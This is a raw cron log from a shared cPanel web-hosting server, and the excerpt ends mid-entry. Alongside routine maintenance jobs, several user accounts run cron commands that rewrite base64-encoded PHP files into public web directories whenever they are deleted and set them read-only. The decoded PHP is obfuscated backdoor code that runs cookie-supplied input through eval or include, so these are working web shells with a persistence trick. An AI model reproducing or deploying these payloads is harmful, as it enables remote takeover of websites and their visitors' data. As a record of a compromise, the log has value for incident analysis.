Mar  2 03:33:01 medusa CROND[2220]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:33:01 medusa CROND[2222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:33:01 medusa CROND[2223]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:33:01 medusa CROND[2226]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:33:01 medusa CROND[2227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:33:01 medusa CROND[2230]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:33:01 medusa CROND[2236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:33:01 medusa CROND[2233]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:33:01 medusa CROND[2238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:33:01 medusa CROND[2237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:34:02 medusa CROND[19680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:34:02 medusa CROND[19796]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:34:02 medusa CROND[19797]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:34:02 medusa CROND[19798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:34:02 medusa CROND[19799]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:34:02 medusa CROND[19800]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:34:02 medusa CROND[19807]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:34:02 medusa CROND[19814]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:34:02 medusa CROND[19815]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:34:02 medusa CROND[19822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:34:02 medusa CROND[19824]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:34:02 medusa CROND[19825]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:34:02 medusa CROND[19826]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:35:01 medusa CROND[3748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:35:01 medusa CROND[3761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:35:01 medusa CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:35:01 medusa CROND[4016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:35:01 medusa CROND[4017]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 03:35:01 medusa CROND[4018]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:35:01 medusa CROND[4024]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:35:01 medusa CROND[4026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4027]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4023]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:35:01 medusa CROND[4036]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:35:01 medusa CROND[4030]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:35:01 medusa CROND[4042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:35:01 medusa CROND[4044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4043]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4049]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:35:01 medusa CROND[4051]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4052]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0Z